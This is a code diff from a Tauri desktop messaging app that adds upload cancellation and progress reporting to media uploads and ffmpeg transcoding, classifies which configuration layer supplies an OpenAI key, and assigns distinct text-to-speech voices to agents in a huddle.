transcode_heic_path_to_jpeg_bytes_with_cancellation( + &tmp_input, + cancellation.as_ref(), + ) + .map(|jpeg| (jpeg, None)) })(); let _ = std::fs::remove_file(&tmp_input); result @@ -799,11 +779,15 @@ pub async fn upload_media_bytes( let body = sanitize_image_for_upload(body, &mime)?; // Upload video first, then poster (best-effort). - let progress = progress_id.map(|id| (app, id)); - let mut descriptor = do_upload(body, &mime, &state, progress).await?; + let progress = progress_id.as_ref().map(|id| (app.clone(), id.clone())); + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } + let mut descriptor = do_upload(body, &mime, &state, progress, cancellation).await?; + emit_media_upload_phase(&app, progress_id.as_deref(), "finishing"); if let Some(poster) = poster_bytes { - match do_upload(poster, "image/jpeg", &state, None).await { + match do_upload(poster, "image/jpeg", &state, None, cancellation).await { Ok(poster_desc) => descriptor.image = Some(poster_desc.url), Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"), } diff --git a/desktop/src-tauri/src/commands/media_raw.rs b/desktop/src-tauri/src/commands/media_raw.rs new file mode 100644 index 0000000000..a74ccd4dfe --- /dev/null +++ b/desktop/src-tauri/src/commands/media_raw.rs @@ -0,0 +1,96 @@ +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; +use tauri::{ + ipc::{InvokeBody, Request}, + State, +}; + +use crate::app_state::AppState; + +use super::{ + media::{upload_media_bytes_inner, BlobDescriptor}, + media_upload_progress::{ + begin_media_upload, cancel_media_upload as cancel_registered_media_upload, + finish_media_upload, + }, +}; + +/// Upload raw bytes directly (for paste and drag-drop). +/// +/// The renderer already has the bytes in memory from the clipboard/drag event. +/// If the bytes are a video, they're written to a temp file, transcoded via +/// ffmpeg, and the transcoded output is uploaded instead. +#[tauri::command] +pub async fn upload_media_bytes( + data: Vec, + filename: Option, + progress_id: Option, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result { + upload_media_bytes_inner(data, filename, progress_id, app, state, None).await +} + +fn decode_raw_upload_header(value: &str) -> Result { + let bytes = URL_SAFE_NO_PAD + .decode(value) + .map_err(|error| format!("invalid raw upload header: {error}"))?; + String::from_utf8(bytes).map_err(|error| format!("invalid raw upload header text: {error}")) +} + +fn optional_raw_upload_header(request: &Request<'_>, name: &str) -> Result, String> { + request + .headers() + .get(name) + .map(|value| { + value + .to_str() + .map_err(|error| format!("invalid {name} header: {error}")) + .and_then(decode_raw_upload_header) + }) + .transpose() +} + +/// Cancel the native upload associated with a background progress ID. +#[tauri::command] +pub fn cancel_media_upload(progress_id: String) { + cancel_registered_media_upload(&progress_id); +} + +/// Upload raw IPC bytes without expanding a large browser File into JSON. +#[tauri::command] +pub async fn upload_media_bytes_raw( + request: Request<'_>, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result { + let data = match request.body() { + InvokeBody::Raw(data) => data.clone(), + InvokeBody::Json(_) => return Err("raw upload requires a byte body".to_string()), + }; + let filename = optional_raw_upload_header(&request, "x-buzz-filename")?; + let progress_id = optional_raw_upload_header(&request, "x-buzz-progress-id")?; + + let cancellation = begin_media_upload(progress_id.as_deref()); + let result = upload_media_bytes_inner( + data, + filename, + progress_id.clone(), + app, + state, + cancellation.as_ref(), + ) + .await; + finish_media_upload(progress_id.as_deref()); + result +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_decode_raw_upload_header_preserves_unicode() { + let encoded = URL_SAFE_NO_PAD.encode("clip 🎬.mp4"); + assert_eq!(decode_raw_upload_header(&encoded).unwrap(), "clip 🎬.mp4"); + } +} diff --git a/desktop/src-tauri/src/commands/media_transcode.rs b/desktop/src-tauri/src/commands/media_transcode.rs index 46a5decaa7..3fb7eda5f0 100644 --- a/desktop/src-tauri/src/commands/media_transcode.rs +++ b/desktop/src-tauri/src/commands/media_transcode.rs @@ -6,6 +6,7 @@ //! `validate_video_file()`) and to produce a JPEG poster frame. use crate::managed_agents::resolve_command; +use tokio_util::sync::CancellationToken; /// Build an ffmpeg command without inheriting user-controlled process knobs. /// @@ -121,7 +122,7 @@ pub(super) fn has_heic_extension(path: &std::path::Path) -> bool { /// blocking a Tokio worker thread indefinitely. const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600); -/// Run an ffmpeg command with a wall-clock timeout. +/// Run an ffmpeg command with a wall-clock timeout and optional cancellation. /// /// Spawns the child process, polls `try_wait()` every 500ms, and kills it /// if the deadline is exceeded. Returns the same `Output` as `Command::output()`. @@ -131,10 +132,14 @@ const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600); /// enough progress/diagnostic output to fill the OS pipe buffer (~64 KiB), /// the child blocks on write() and never exits — causing a false timeout. /// `-loglevel error` suppresses progress spam, keeping stderr small. -pub(super) fn run_ffmpeg_with_timeout( +fn run_ffmpeg_with_cancellation( cmd: &mut std::process::Command, timeout: std::time::Duration, + cancellation: Option<&CancellationToken>, ) -> Result { + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } let mut child = cmd .spawn() .map_err(|e| format!("failed to spawn ffmpeg: {e}"))?; @@ -162,6 +167,11 @@ pub(super) fn run_ffmpeg_with_timeout( } Ok(None) => { // Still running — check deadline. + if cancellation.is_some_and(CancellationToken::is_cancelled) { + let _ = child.kill(); + let _ = child.wait(); + return Err("upload cancelled".to_string()); + } if std::time::Instant::now() > deadline { let _ = child.kill(); let _ = child.wait(); // reap zombie @@ -181,14 +191,15 @@ pub(super) fn run_ffmpeg_with_timeout( /// relay's `validate_video_file()`. /// /// Returns the path to a temp file. Caller must clean up. -pub(super) fn transcode_to_mp4( +fn transcode_to_mp4_with_cancellation( source: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { // UUID-based temp path — unique across concurrent uploads. let output = std::env::temp_dir().join(format!("buzz-transcode-{}.mp4", uuid::Uuid::new_v4())); - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -240,7 +251,11 @@ pub(super) fn transcode_to_mp4( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), FFMPEG_TIMEOUT, - )?; + cancellation, + ) + .inspect_err(|_| { + let _ = std::fs::remove_file(&output); + })?; if !result.status.success() { let _ = std::fs::remove_file(&output); @@ -265,9 +280,10 @@ pub(super) fn transcode_to_mp4( /// Uses `-frames:v 1` so multi-image HEIF containers (Live Photos, bursts) /// yield a single still, and `-q:v 2` for high JPEG quality. Returns the path /// to a temp file. Caller must clean up. -pub(super) fn transcode_heic_to_jpeg( +fn transcode_heic_to_jpeg( source: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { // UUID-based temp path — unique across concurrent uploads. let output = std::env::temp_dir().join(format!("buzz-heic-{}.jpg", uuid::Uuid::new_v4())); @@ -275,7 +291,7 @@ pub(super) fn transcode_heic_to_jpeg( // Single-frame image decode — 60s is generous even for large HEICs. let heic_timeout = std::time::Duration::from_secs(60); - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -301,7 +317,11 @@ pub(super) fn transcode_heic_to_jpeg( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), heic_timeout, - )?; + cancellation, + ) + .inspect_err(|_| { + let _ = std::fs::remove_file(&output); + })?; if !result.status.success() { let _ = std::fs::remove_file(&output); @@ -323,9 +343,16 @@ pub(super) fn transcode_heic_to_jpeg( /// file. Mirrors `transcode_and_extract_poster` but for images (no poster). pub(super) fn transcode_heic_path_to_jpeg_bytes( source: &std::path::Path, +) -> Result, String> { + transcode_heic_path_to_jpeg_bytes_with_cancellation(source, None) +} + +pub(super) fn transcode_heic_path_to_jpeg_bytes_with_cancellation( + source: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result, String> { let ffmpeg_path = find_ffmpeg()?; - let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path)?; + let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path, cancellation)?; let bytes = std::fs::read(&jpeg_path).map_err(|e| format!("failed to read transcoded HEIC: {e}")); let _ = std::fs::remove_file(&jpeg_path); @@ -340,9 +367,10 @@ pub(super) fn transcode_heic_path_to_jpeg_bytes( /// /// Best-effort: returns `Err` on failure — callers should log and continue /// without a poster rather than failing the entire video upload. -pub(super) fn extract_poster_frame( +fn extract_poster_frame_with_cancellation( mp4_path: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { let output = std::env::temp_dir().join(format!("buzz-poster-{}.jpg", uuid::Uuid::new_v4())); @@ -350,7 +378,7 @@ pub(super) fn extract_poster_frame( let poster_timeout = std::time::Duration::from_secs(30); // Try seeking to 1s first (avoids black first frames from fade-ins). - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -369,6 +397,7 @@ pub(super) fn extract_poster_frame( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), poster_timeout, + cancellation, )?; // If seek to 1s failed (video shorter than 1s), retry from first frame. @@ -381,7 +410,7 @@ pub(super) fn extract_poster_frame( eprintln!("buzz-desktop: poster seek-to-1s failed, trying first frame: {stderr}"); } let _ = std::fs::remove_file(&output); - let fallback = run_ffmpeg_with_timeout( + let fallback = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -398,6 +427,7 @@ pub(super) fn extract_poster_frame( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), poster_timeout, + cancellation, )?; if !fallback.status.success() || !output.exists() { @@ -417,22 +447,35 @@ pub(super) fn extract_poster_frame( /// and the video bytes are still valid. All temp files are cleaned up. pub(super) fn transcode_and_extract_poster( source: &std::path::Path, +) -> Result<(Vec, Option>), String> { + transcode_and_extract_poster_with_cancellation(source, None) +} + +pub(super) fn transcode_and_extract_poster_with_cancellation( + source: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result<(Vec, Option>), String> { let ffmpeg_path = find_ffmpeg()?; - let transcoded = transcode_to_mp4(source, &ffmpeg_path)?; + let transcoded = transcode_to_mp4_with_cancellation(source, &ffmpeg_path, cancellation)?; // Extract poster from the transcoded file (not the original — guarantees decodability). - let poster_bytes = match extract_poster_frame(&transcoded, &ffmpeg_path) { - Ok(poster_path) => { - let bytes = std::fs::read(&poster_path).ok(); - let _ = std::fs::remove_file(&poster_path); - bytes - } - Err(e) => { - eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}"); - None - } - }; + let poster_bytes = + match extract_poster_frame_with_cancellation(&transcoded, &ffmpeg_path, cancellation) { + Ok(poster_path) => { + let bytes = std::fs::read(&poster_path).ok(); + let _ = std::fs::remove_file(&poster_path); + bytes + } + Err(e) => { + eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}"); + None + } + }; + + if cancellation.is_some_and(CancellationToken::is_cancelled) { + let _ = std::fs::remove_file(&transcoded); + return Err("upload cancelled".to_string()); + } let video_bytes = std::fs::read(&transcoded).map_err(|e| format!("failed to read transcoded file: {e}")); @@ -599,7 +642,8 @@ mod tests { return; } - let output = transcode_to_mp4(&source, &ffmpeg).expect("transcode fixture"); + let output = + transcode_to_mp4_with_cancellation(&source, &ffmpeg, None).expect("transcode fixture"); let bytes = std::fs::read(&output).expect("read transcoded video"); let _ = std::fs::remove_file(&source); let _ = std::fs::remove_file(&output); diff --git a/desktop/src-tauri/src/commands/media_upload_progress.rs b/desktop/src-tauri/src/commands/media_upload_progress.rs new file mode 100644 index 0000000000..850afe1b12 --- /dev/null +++ b/desktop/src-tauri/src/commands/media_upload_progress.rs @@ -0,0 +1,126 @@ +use std::{ + collections::HashMap, + sync::{LazyLock, Mutex}, +}; + +use tauri::Emitter; +use tokio_util::sync::CancellationToken; + +use crate::{app_state::AppState, relay::classify_request_error}; + +static MEDIA_UPLOAD_CANCELLATIONS: LazyLock>> = + LazyLock::new(|| Mutex::new(HashMap::new())); + +pub(super) fn begin_media_upload(progress_id: Option<&str>) -> Option { + let progress_id = progress_id?; + let cancel = CancellationToken::new(); + if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + uploads.insert(progress_id.to_string(), cancel.clone()); + } + Some(cancel) +} + +pub(super) fn cancel_media_upload(progress_id: &str) { + if let Ok(uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + if let Some(cancel) = uploads.get(progress_id) { + cancel.cancel(); + } + } +} + +pub(super) fn finish_media_upload(progress_id: Option<&str>) { + let Some(progress_id) = progress_id else { + return; + }; + if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + uploads.remove(progress_id); + } +} + +pub(super) struct UploadAttempt<'a> { + pub url: String, + pub auth_header: &'a str, + pub mime: &'a str, + pub sha256: &'a str, + pub body: bytes::Bytes, + pub progress: Option<&'a (tauri::AppHandle, String)>, + pub cancellation: Option<&'a CancellationToken>, +} + +pub(super) async fn send_upload_attempt( + state: &AppState, + attempt: UploadAttempt<'_>, +) -> Result { + let UploadAttempt { + url, + auth_header, + mime, + sha256, + body, + progress, + cancellation, + } = attempt; + let req = state + .http_client + .put(url) + .header("Authorization", auth_header) + .header("Content-Type", mime) + .header("X-SHA-256", sha256); + + let response = if let Some((app, progress_id)) = progress { + let app = app.clone(); + let progress_id = progress_id.clone(); + let total = body.len() as u64; + let chunk_size = 64 * 1024; + let chunk_count = body.len().div_ceil(chunk_size); + let mut sent: u64 = 0; + let stream = futures_util::stream::iter((0..chunk_count).map(move |i| { + let start = i * chunk_size; + let end = usize::min(start + chunk_size, body.len()); + let chunk = body.slice(start..end); + sent += chunk.len() as u64; + let _ = app.emit( + "media-upload-progress", + serde_json::json!({ "id": progress_id, "sent": sent, "total": total }), + ); + Ok::(chunk) + })); + let request = req + .header(reqwest::header::CONTENT_LENGTH, total) + .body(reqwest::Body::wrap_stream(stream)) + .send(); + if let Some(cancellation) = cancellation { + tokio::select! { + _ = cancellation.cancelled() => return Err("upload cancelled".to_string()), + response = request => response, + } + } else { + request.await + } + } else { + let request = req.body(body).send(); + if let Some(cancellation) = cancellation { + tokio::select! { + _ = cancellation.cancelled() => return Err("upload cancelled".to_string()), + response = request => response, + } + } else { + request.await + } + }; + response.map_err(|error| classify_request_error(&error)) +} + +pub(super) fn emit_media_upload_phase( + app: &tauri::AppHandle, + progress_id: Option<&str>, + phase: &'static str, +) { + let Some(id) = progress_id else { + return; + }; + let _ = app.emit( + "media-upload-phase", + serde_json::json!({ "id": id, "phase": phase }), + ); +} diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 66ef7ef17b..237bc06e8d 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -28,8 +28,10 @@ pub(crate) mod media; mod media_animated; mod media_download; mod media_gif; +mod media_raw; mod media_snapshot_png; mod media_transcode; +mod media_upload_progress; #[cfg(feature = "mesh-llm")] pub(crate) mod mesh_llm; mod messages; @@ -85,6 +87,7 @@ pub use legacy_storage::*; pub use link_preview::*; pub use media::*; pub use media_download::*; +pub use media_raw::*; #[cfg(feature = "mesh-llm")] pub use mesh_llm::*; pub use messages::*; diff --git a/desktop/src-tauri/src/commands/personas/card.rs b/desktop/src-tauri/src/commands/personas/card.rs index c516db1736..29a5c35e6a 100644 --- a/desktop/src-tauri/src/commands/personas/card.rs +++ b/desktop/src-tauri/src/commands/personas/card.rs @@ -283,6 +283,35 @@ pub(crate) fn resolve_env_from_layers( process_value.filter(|k| !k.trim().is_empty()) } +/// Pure classification: same four env inputs as `resolve_env_from_layers`, +/// returns which layer supplies `OPENAI_API_KEY` (agent > persona > global > +/// process > none). +pub(crate) fn resolve_key_layer( + global_env: &std::collections::BTreeMap, + persona_env: &std::collections::BTreeMap, + record_env: &std::collections::BTreeMap, + process_value: Option, +) -> &'static str { + let key = "OPENAI_API_KEY"; + let nonempty = |m: &std::collections::BTreeMap| { + m.get(key).is_some_and(|v| !v.trim().is_empty()) + }; + if nonempty(record_env) { + return "agent"; + } + if nonempty(persona_env) { + return "persona"; + } + if nonempty(global_env) { + return "global"; + } + let proc = process_value.as_deref().unwrap_or(""); + if !proc.trim().is_empty() { + return "process"; + } + "none" +} + /// The Responses endpoint to post mints to. `OPENAI_BASE_URL` (same env /// layering as the key) overrides the default host, supporting endpoints and /// proxies that speak the OpenAI Responses shape with Bearer auth. Azure @@ -450,16 +479,15 @@ pub fn card_mint_save_openai_key( save_global_agent_config(&app, &config) } -/// Report whether an OpenAI key would resolve for a card mint of agent `id`, -/// using exactly the same env layering as `mint_agent_card`. Lets the mint -/// dialog offer inline key setup BEFORE the user commits to a mint, instead -/// of failing after the fact. Never returns the key itself. +/// Report which env layer resolves the OpenAI key for a card mint of agent +/// `id` — same layering as `mint_agent_card`. Delegates to `resolve_key_layer` +/// for the classification; see that helper for the return-value contract. #[tauri::command] pub fn card_mint_key_status( id: String, app: AppHandle, state: State<'_, AppState>, -) -> Result { +) -> Result { let _store_guard = state .managed_agents_store_lock .lock() @@ -478,14 +506,13 @@ pub fn card_mint_key_status( .map(|p| p.env_vars.clone()) .unwrap_or_default(); - Ok(resolve_env_from_layers( - "OPENAI_API_KEY", + Ok(resolve_key_layer( &global.env_vars, &persona_env, &record.env_vars, std::env::var("OPENAI_API_KEY").ok(), ) - .is_some()) + .to_string()) } /// Mint a trading card for the agent identified by `id` (instance pubkey, diff --git a/desktop/src-tauri/src/commands/personas/card/tests.rs b/desktop/src-tauri/src/commands/personas/card/tests.rs index ca69c43866..407ab44974 100644 --- a/desktop/src-tauri/src/commands/personas/card/tests.rs +++ b/desktop/src-tauri/src/commands/personas/card/tests.rs @@ -71,6 +71,81 @@ fn key_resolution_layering_record_wins() { assert!(resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).is_none()); } +/// Prove that `resolve_key_layer` classifies layers in the same precedence +/// order that `mint_agent_card`/`resolve_env_from_layers` uses, so the dialog +/// update path is only offered when writing global will actually win. +#[test] +fn key_status_layer_matches_mint_resolution_priority() { + let key = "OPENAI_API_KEY"; + let mut global = BTreeMap::new(); + let mut persona = BTreeMap::new(); + let mut record = BTreeMap::new(); + + // No key anywhere → "none" + assert_eq!(resolve_key_layer(&global, &persona, &record, None), "none"); + + // Only global → "global" (the only writable layer) + global.insert(key.to_string(), "sk-global".to_string()); + assert_eq!( + resolve_key_layer(&global, &persona, &record, None), + "global" + ); + // mint resolution also picks global when record and persona are empty + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-global") + ); + + // Persona overrides global → status must report "persona", NOT "global" + persona.insert(key.to_string(), "sk-persona".to_string()); + assert_eq!( + resolve_key_layer(&global, &persona, &record, None), + "persona" + ); + // mint would use the persona key + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-persona") + ); + // Writing to global would NOT change what mint resolves — status correctly + // returns "persona" so the dialog shows a read-only redirect instead. + let mut global_updated = global.clone(); + global_updated.insert(key.to_string(), "sk-new-global".to_string()); + assert_eq!( + resolve_env_from_layers(key, &global_updated, &persona, &record, None).as_deref(), + Some("sk-persona"), + "writing global must not change resolution when persona key exists" + ); + + // Agent record overrides both → status must report "agent" + record.insert(key.to_string(), "sk-agent".to_string()); + assert_eq!(resolve_key_layer(&global, &persona, &record, None), "agent"); + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-agent") + ); + + // Process env is last resort (only when all map layers are empty) + let empty = BTreeMap::new(); + assert_eq!( + resolve_key_layer(&empty, &empty, &empty, Some("sk-process".to_string())), + "process" + ); + + // Blank values are skipped — process wins over a whitespace global + let mut blank_global = BTreeMap::new(); + blank_global.insert(key.to_string(), " ".to_string()); + assert_eq!( + resolve_key_layer( + &blank_global, + &empty, + &empty, + Some("sk-process".to_string()) + ), + "process" + ); +} + #[test] fn key_resolution_skips_blank_values() { let mut record = BTreeMap::new(); diff --git a/desktop/src-tauri/src/huddle/agent_voice.rs b/desktop/src-tauri/src/huddle/agent_voice.rs new file mode 100644 index 0000000000..5232287d75 --- /dev/null +++ b/desktop/src-tauri/src/huddle/agent_voice.rs @@ -0,0 +1,310 @@ +//! Per-agent text-to-speech choices for one local huddle session. + +use std::collections::{BTreeMap, HashSet}; + +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, State}; + +use crate::app_state::AppState; + +use super::{ + tts_settings::{ + pocket_voice_reference, resolve_voice_for_backend_in_registry, voice_registry, + VoiceRegistryEntry, POCKET_BACKEND_ID, + }, + HuddlePhase, HuddleState, +}; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct AgentVoiceSettings { + pub enabled: bool, + pub voice_key: String, +} + +struct AgentVoiceCatalog { + default_voice_key: String, + voices: Vec, +} + +fn catalog(app: &AppHandle, state: &AppState) -> Result { + let registry = voice_registry(app); + let settings = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? + .clone(); + let voices: Vec<_> = registry + .iter() + .filter(|voice| { + voice.backend == POCKET_BACKEND_ID + && matches!(voice.availability.as_str(), "bundled" | "installed") + }) + .cloned() + .collect(); + let default_voice_key = resolve_voice_for_backend_in_registry( + &settings.voice_preferences, + POCKET_BACKEND_ID, + &voices, + )? + .key; + Ok(AgentVoiceCatalog { + default_voice_key, + voices, + }) +} + +fn stable_voice_index(agent_pubkey: &str, huddle_generation: u64, len: usize) -> usize { + let hash = agent_pubkey.bytes().fold( + 0xcbf2_9ce4_8422_2325_u64 ^ huddle_generation, + |hash, byte| hash.wrapping_mul(0x0000_0100_0000_01b3) ^ u64::from(byte), + ); + (hash as usize) % len +} + +pub(crate) fn sync_agent_voice_assignments( + huddle: &mut HuddleState, + agent_pubkeys: &[String], + default_voice_key: &str, + voices: &[VoiceRegistryEntry], +) -> bool { + let previous = huddle.agent_voice_settings.clone(); + let available_keys: Vec<_> = voices.iter().map(|voice| voice.key.clone()).collect(); + let available: HashSet<_> = available_keys.iter().cloned().collect(); + let agents: HashSet<_> = agent_pubkeys.iter().cloned().collect(); + huddle.agent_voice_settings.retain(|pubkey, settings| { + agents.contains(pubkey) && available.contains(&settings.voice_key) + }); + + let mut used: HashSet<_> = huddle + .agent_voice_settings + .values() + .map(|settings| settings.voice_key.clone()) + .collect(); + for (index, pubkey) in agent_pubkeys.iter().enumerate() { + if huddle.agent_voice_settings.contains_key(pubkey) { + continue; + } + let preferred = if index == 0 && !used.contains(default_voice_key) { + Some(default_voice_key.to_owned()) + } else { + let unused_alternates: Vec<_> = available_keys + .iter() + .filter(|key| key.as_str() != default_voice_key && !used.contains(*key)) + .cloned() + .collect(); + let unused: Vec<_> = available_keys + .iter() + .filter(|key| !used.contains(*key)) + .cloned() + .collect(); + let candidates = if unused_alternates.is_empty() { + if unused.is_empty() { + &available_keys + } else { + &unused + } + } else { + &unused_alternates + }; + (!candidates.is_empty()).then(|| { + candidates[stable_voice_index(pubkey, huddle.huddle_generation, candidates.len())] + .clone() + }) + }; + if let Some(voice_key) = preferred { + used.insert(voice_key.clone()); + huddle.agent_voice_settings.insert( + pubkey.clone(), + AgentVoiceSettings { + enabled: true, + voice_key, + }, + ); + } + } + huddle.agent_voice_settings != previous +} + +fn ensure_with_catalog( + huddle: &mut HuddleState, + catalog: &AgentVoiceCatalog, + extra_agent: Option<&str>, +) -> bool { + let mut agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + if let Some(pubkey) = extra_agent { + if !agents.iter().any(|agent| agent == pubkey) { + agents.push(pubkey.to_owned()); + } + } + sync_agent_voice_assignments(huddle, &agents, &catalog.default_voice_key, &catalog.voices) +} + +fn require_active_huddle(huddle: &HuddleState) -> Result<(), String> { + matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) + .then_some(()) + .ok_or_else(|| "No active huddle".to_owned()) +} + +#[tauri::command] +pub fn ensure_huddle_agent_voice_settings( + app: AppHandle, + state: State<'_, AppState>, +) -> Result, String> { + let catalog = catalog(&app, &state)?; + let (changed, settings) = { + let mut huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Ok(BTreeMap::new()); + } + let changed = ensure_with_catalog(&mut huddle, &catalog, None); + (changed, huddle.agent_voice_settings.clone()) + }; + if changed { + state.emit_huddle_state_changed(); + } + Ok(settings) +} + +#[tauri::command] +pub fn set_huddle_agent_tts_enabled( + agent_pubkey: String, + enabled: bool, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let catalog = catalog(&app, &state)?; + let settings = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey)); + let settings = huddle + .agent_voice_settings + .get_mut(&agent_pubkey) + .ok_or("Agent is not in the active huddle")?; + settings.enabled = enabled; + settings.clone() + }; + state.emit_huddle_state_changed(); + Ok(settings) +} + +#[tauri::command] +pub fn set_huddle_agent_voice( + agent_pubkey: String, + voice_key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let catalog = catalog(&app, &state)?; + if !catalog.voices.iter().any(|voice| voice.key == voice_key) { + return Err("The selected Pocket voice is not available on this device".to_owned()); + } + let settings = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey)); + let settings = huddle + .agent_voice_settings + .get_mut(&agent_pubkey) + .ok_or("Agent is not in the active huddle")?; + settings.voice_key = voice_key; + settings.clone() + }; + state.emit_huddle_state_changed(); + Ok(settings) +} + +pub(crate) fn voice_reference_for_agent( + app: &AppHandle, + state: &AppState, + agent_pubkey: &str, +) -> Result, String> { + let catalog = catalog(app, state)?; + let (changed, settings) = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + let changed = ensure_with_catalog(&mut huddle, &catalog, Some(agent_pubkey)); + let settings = huddle.agent_voice_settings.get(agent_pubkey).cloned(); + (changed, settings) + }; + if changed { + state.emit_huddle_state_changed(); + } + let Some(settings) = settings else { + return Err("Agent is not in the active huddle".to_owned()); + }; + if !settings.enabled { + return Ok(None); + } + pocket_voice_reference(app, &[settings.voice_key]).map(Some) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::huddle::tts_settings::bundled_voice_registry; + + #[test] + fn first_agent_uses_default_and_additional_agents_are_distinct() { + let agents = vec!["first".to_owned(), "second".to_owned(), "third".to_owned()]; + let mut huddle = HuddleState { + huddle_generation: 9, + ..HuddleState::default() + }; + + assert!(sync_agent_voice_assignments( + &mut huddle, + &agents, + "pocket:vera", + &bundled_voice_registry(), + )); + + assert_eq!( + huddle.agent_voice_settings["first"].voice_key, + "pocket:vera" + ); + let distinct: HashSet<_> = huddle + .agent_voice_settings + .values() + .map(|settings| settings.voice_key.as_str()) + .collect(); + assert_eq!(distinct.len(), 3); + } + + #[test] + fn explicit_session_choices_survive_roster_resync() { + let agents = vec!["first".to_owned(), "second".to_owned()]; + let voices = bundled_voice_registry(); + let mut huddle = HuddleState::default(); + sync_agent_voice_assignments(&mut huddle, &agents, "pocket:mary", &voices); + huddle + .agent_voice_settings + .get_mut("second") + .unwrap() + .enabled = false; + huddle + .agent_voice_settings + .get_mut("second") + .unwrap() + .voice_key = "pocket:jane".into(); + + assert!(!sync_agent_voice_assignments( + &mut huddle, + &agents, + "pocket:mary", + &voices, + )); + assert_eq!( + huddle.agent_voice_settings["second"], + AgentVoiceSettings { + enabled: false, + voice_key: "pocket:jane".into(), + } + ); + } +} diff --git a/desktop/src-tauri/src/huddle/agents.rs b/desktop/src-tauri/src/huddle/agents.rs index 2de22f99d8..41a348d888 100644 --- a/desktop/src-tauri/src/huddle/agents.rs +++ b/desktop/src-tauri/src/huddle/agents.rs @@ -9,14 +9,24 @@ //! when it receives the kind:9000 membership notification. Huddle-specific //! env vars (interrupt mode, custom system prompt) are a post-MVP enhancement. +use std::collections::HashSet; + use serde::Serialize; +use tauri::State; use uuid::Uuid; use crate::{ - app_state::AppState, events, huddle::relay_api::fetch_channel_members_with_roles, + app_state::AppState, + events, + huddle::relay_api::{ + fetch_channel_members, fetch_channel_members_with_roles, validate_pubkey_hex, + MAX_HUDDLE_AGENTS, + }, relay::submit_event, }; +use super::{pipeline::start_auto_enabled_transcription, HuddlePhase}; + // ── Constants ───────────────────────────────────────────────────────────────── /// Voice-mode guidelines posted as kind:48106 (huddle guidelines) to the @@ -78,6 +88,21 @@ pub struct AgentAddResult { pub parent_error: Option, } +/// Result of reconciling channel agent additions into the active Huddle. +#[derive(Debug, Serialize)] +pub struct AgentHuddleSyncResult { + /// Whether `channel_id` belonged to the active Huddle. + pub matched_active_huddle: bool, + /// Agents newly enrolled in the Huddle's ephemeral channel. + pub added: Vec, +} + +// Multiple frontend mutation paths can observe the same membership addition +// (for example, the member hook and the mention send flow). Serialize native +// reconciliation so they share the first result instead of racing duplicate +// membership events through a relay read that has not caught up yet. +static AGENT_SYNC_LOCK: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(()); + /// Add an agent to both the ephemeral and parent huddle channels. /// /// Returns `Err` only if the ephemeral-channel add fails (policy rejection or @@ -134,6 +159,156 @@ pub async fn add_agent_to_huddle( }) } +/// Reconcile explicitly added channel agents into the active Huddle. +/// +/// The source channel may be either the Huddle's parent or its ephemeral chat. +/// Existing ephemeral membership is hydrated first so a mention sent from the +/// Huddle chat does not publish a duplicate membership event. Missing agents +/// are added through the same parent + ephemeral path as the Add agent picker. +pub(crate) async fn 